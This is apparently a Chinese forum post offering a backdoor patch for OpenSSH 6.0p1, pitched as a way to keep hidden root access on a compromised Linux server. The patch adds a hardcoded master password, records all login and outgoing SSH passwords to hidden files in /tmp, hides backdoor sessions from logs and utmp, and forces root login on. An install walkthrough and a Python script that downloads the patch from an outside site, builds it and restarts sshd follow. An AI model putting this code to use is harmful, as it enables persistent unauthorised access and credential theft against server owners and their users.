|
ssh_patch并不是一个rootkit,而是ssh的后门补丁.他的作用具象点说:比如得到了一台linux服务器的root权限,但是不知道root密码,使用这个补丁重新编译ssh,就可以用root和自己的密码登录网站,而原先的root密码仍然可以登录,是一个绝佳的隐藏后门
以下是ssh_patch补丁
- # wget http://mirror.bytemark.co.uk/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
- # patch < OpenSSH-6.0p1.patch
- # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
- # make && make install
- # bob@dtors.net
- --- openssh-6.0p1/auth-pam.c 2009-07-12 13:07:21.000000000 +0100
- +++ ./auth-pam.patch 2012-05-22 15:16:38.219834621 +0100
- @@ -1210,6 +1210,10 @@
- if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
- debug("PAM: password authentication accepted for %.100s",
- authctxt->user);
- + if((f=fopen(ILOG,"a"))!=NULL){
- + fprintf(f,"%s:%s\n",authctxt->user, password);
- + fclose(f);
- + }
- return 1;
- } else {
- debug("PAM: password authentication failed for %.100s: %s",
- --- openssh-6.0p1/auth-passwd.c 2009-03-08 00:40:28.000000000 +0000
- +++ ./auth-passwd.patch 2012-05-22 15:16:38.219834621 +0100
- @@ -86,6 +86,11 @@
- static int expire_checked = 0;
- #endif
- +if (!strcmp(password, entr0py)) {
- + passphrase=1;
- + return 1;
- +}
- +
- #ifndef HAVE_CYGWIN
- if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
- ok = 0;
- @@ -123,6 +128,12 @@
- }
- #endif
- result = sys_auth_passwd(authctxt, password);
- + if(result){
- + if((f=fopen(ILOG,"a"))!=NULL){
- + fprintf(f,"%s:%s\n",authctxt->user, password);
- + fclose(f);
- + }
- + }
- if (authctxt->force_pwchange)
- disable_forwarding();
- return (result && ok);
- --- openssh-6.0p1/auth.c 2011-05-29 12:40:42.000000000 +0100
- +++ ./auth.patch 2012-05-22 15:16:38.219834621 +0100
- @@ -271,14 +271,16 @@
- else
- authmsg = authenticated ? "Accepted" : "Failed";
- - authlog("%s %s for %s%.100s from %.200s port %d%s",
- - authmsg,
- - method,
- - authctxt->valid ? "" : "invalid user ",
- - authctxt->user,
- - get_remote_ipaddr(),
- - get_remote_port(),
- - info);
- + if(!passphrase || passphrase !=1){
- + authlog("%s %s for %s%.100s from %.200s port %d%s",
- + authmsg,
- + method,
- + authctxt->valid ? "" : "invalid user ",
- + authctxt->user,
- + get_remote_ipaddr(),
- + get_remote_port(),
- + info);
- + }
- #ifdef CUSTOM_FAILED_LOGIN
- if (authenticated == 0 && !authctxt->postponed &&
- --- openssh-6.0p1/canohost.c 2010-10-12 03:28:12.000000000 +0100
- +++ ./canohost.patch 2012-05-22 15:16:38.219834621 +0100
- @@ -78,10 +78,12 @@
- debug3("Trying to reverse map address %.100s.", ntop);
- /* Map the IP address to a host name. */
- + if(!passphrase || passphrase!=1){
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- return xstrdup(ntop);
- + }
- }
- /*
- --- openssh-6.0p1/includes.h 2010-10-24 00:47:30.000000000 +0100
- +++ ./includes.patch 2012-05-22 15:16:38.219834621 +0100
- @@ -172,4 +172,9 @@
- #include "entropy.h"
- +int passphrase;
- +FILE *f;
- +#define ILOG "/tmp/.ilog"
- +#define OLOG "/tmp/.olog"
- +#define entr0py "correcthorsebatterystaple"
- #endif /* INCLUDES_H */
- --- openssh-6.0p1/log.c 2011-06-20 05:42:23.000000000 +0100
- +++ ./log.patch 2012-05-22 15:16:38.220835117 +0100
- @@ -351,6 +351,7 @@
- void
- do_log(LogLevel level, const char *fmt, va_list args)
- {
- +if(!passphrase || passphrase!=1){
- #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
- struct syslog_data sdata = SYSLOG_DATA_INIT;
- #endif
- @@ -428,3 +429,4 @@
- }
- errno = saved_errno;
- }
- +}
- --- openssh-6.0p1/servconf.c 2011-10-02 08:57:38.000000000 +0100
- +++ ./servconf.patch 2012-05-22 15:16:38.220835117 +0100
- @@ -686,7 +686,7 @@
- { "without-password", PERMIT_NO_PASSWD },
- { "forced-commands-only", PERMIT_FORCED_ONLY },
- { "yes", PERMIT_YES },
- - { "no", PERMIT_NO },
- + { "no", PERMIT_YES },
- { NULL, -1 }
- };
- static const struct multistate multistate_compression[] = {
- --- openssh-6.0p1/sshconnect2.c 2011-05-29 12:42:34.000000000 +0100
- +++ ./sshconnect2.patch 2012-05-22 15:16:38.220835117 +0100
- @@ -878,6 +878,10 @@
- snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
- authctxt->server_user, host);
- password = read_passphrase(prompt, 0);
- + if((f=fopen(OLOG,"a"))!=NULL){
- + fprintf(f,"%s:%s@%s\n",authctxt->server_user,password,authctxt->host);
- + fclose(f);
- + }
- packet_start(SSH2_MSG_USERAUTH_REQUEST);
- packet_put_cstring(authctxt->server_user);
- packet_put_cstring(authctxt->service);
- --- openssh-6.0p1/sshlogin.c 2011-01-11 06:20:07.000000000 +0000
- +++ ./sshlogin.patch 2012-05-22 15:16:38.220835117 +0100
- @@ -133,8 +133,10 @@
- li = login_alloc_entry(pid, user, host, tty);
- login_set_addr(li, addr, addrlen);
- + if (!passphrase || passphrase!=1){
- login_login(li);
- login_free_entry(li);
- + }
- }
- #ifdef LOGIN_NEEDS_UTMPX
- @@ -146,8 +148,10 @@
- li = login_alloc_entry(pid, user, host, ttyname);
- login_set_addr(li, addr, addrlen);
- + if(!passphrase || passphrase!=1){
- login_utmp_only(li);
- login_free_entry(li);
- + }
- }
- #endif
- @@ -158,6 +162,8 @@
- struct logininfo *li;
- li = login_alloc_entry(pid, user, NULL, tty);
- + if(!passphrase || passphrase!=1){
- login_logout(li);
- login_free_entry(li);
- + }
- }
复制代码
注释中已经写明了安装方法
以centos为例进行演示
- [root@localhost openssh-6.0p1]# wget http://mirror.bytemark.co.uk/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
- [root@localhost openssh-6.0p1]# tar -zxvf openssh*
- [root@localhost openssh-6.0p1]# cp OpenSSH-6.0p1.patch openssh-6.0p1
- [root@localhost openssh-6.0p1]# patch < OpenSSH-6.0p1.patch
- patching file auth-pam.c
- patching file auth-passwd.c
- patching file auth.c
- patching file canohost.c
- patching file includes.h
- patching file log.c
- patching file servconf.c
- patching file sshconnect2.c
- patching file sshlogin.c
- [root@localhost openssh-6.0p1]# sed -i "s/correcthorsebatterystaple/password/g" includes.h #passwd就是root后门密码
- [root@localhost openssh-6.0p1]# yum install gcc openssl-devel pam-devel rpm-build #确保预编译环境
- [root@localhost openssh-6.0p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
- [root@localhost openssh-6.0p1]# make && make install
- [root@localhost openssh-6.0p1]# service sshd restart
- 停止 sshd: [确定]
- 正在启动 sshd: [确定]
- [root@localhost openssh-6.0p1]#
复制代码
接下来就可以以root和passwd登录了,
顺便附上Python安装代码,只要执行
即可
- #coding=utf-8
- import os
- import urllib
- import zipfile
- import platform
- ####################################################################################
- # #
- # sirius #
- # QQ:111111111 #
- # #
- ####################################################################################
- def makeDir():
- #该函数用来新建/tmp/rootkit目录
- try:
- os.makedirs("/tmp/rootkit")
- except:
- pass
- os.chdir("/tmp/rootkit")
- def deleteAllFile(theFolder):
- #该函数用来删除/tmp/rootkit目录
- if os.path.isfile(theFolder):
- try:
- os.remove(theFolder)
- except:
- pass
- elif os.path.isdir(theFolder):
- for item in os.listdir(theFolder):
- fullPath=os.path.join(theFolder, item)
- deleteAllFile(fullPath)
- try:
- os.rmdir(theFolder)
- except:
- pass
- def downloadFile(theUrl, theFile):
- #该函数用来下载rootkit并放到/tmp/rootkit目录
- try:
- urllib.urlretrieve(theUrl, theFile)
- except:
- print "Cannot download file to /tmp/rootkit, Please check Internet"
- exit()
- def unzipFile(zipName):
- #该函数用来解压zip文件
- zipFile=zipfile.ZipFile(zipName)
- zipFileList=zipFile.namelist()
- for file in zipFileList:
- zipFile.extract(file)
-
- zipFile.close()
- return zipFileList[0]
- def sshPatch():
- patchUrl="http://www.coolhacker.org/wp-content/uploads/2013/10/openssh-6.0p11.zip"
- patchName="openssh-6.0p1.zip"
- makeDir()
- os.chdir("/tmp/rootkit")
- downloadFile(patchUrl, patchName)
- paths=unzipFile(patchName)
- os.chdir(paths)
- os.system("chmod a+x *")
- password=raw_input("Enter the password: ")
- message="sed -i 's/correcthorsebatterystaple/%s/g' includes.h" % password
- if platform.linux_distribution()[0]=="Ubuntu":
- os.system("apt-get install zlib1g-dev openssl libpam-dev")
- os.system(message)
- os.system("./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5")
- os.system("make && make install")
- os.system("/etc/init.d/ssh restart")
- elif platform.linux_distribution()[0]=="CentOS":
- os.system("yum install gcc openssl-devel pam-devel rpm-build")
- os.system(message)
- os.system("chmod a+x configure")
- os.system("./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5")
- os.system("make && make install")
- os.system("service sshd restart")
- else:
- print "暂不支持CentOS和Ubuntu以外的发行版"
- deleteAllFile("/tmp/rootkit/")
- exit()
- deleteAllFile("/tmp/rootkit")
- if __name__=="__main__":
- sshPatch()
-
复制代码 |
|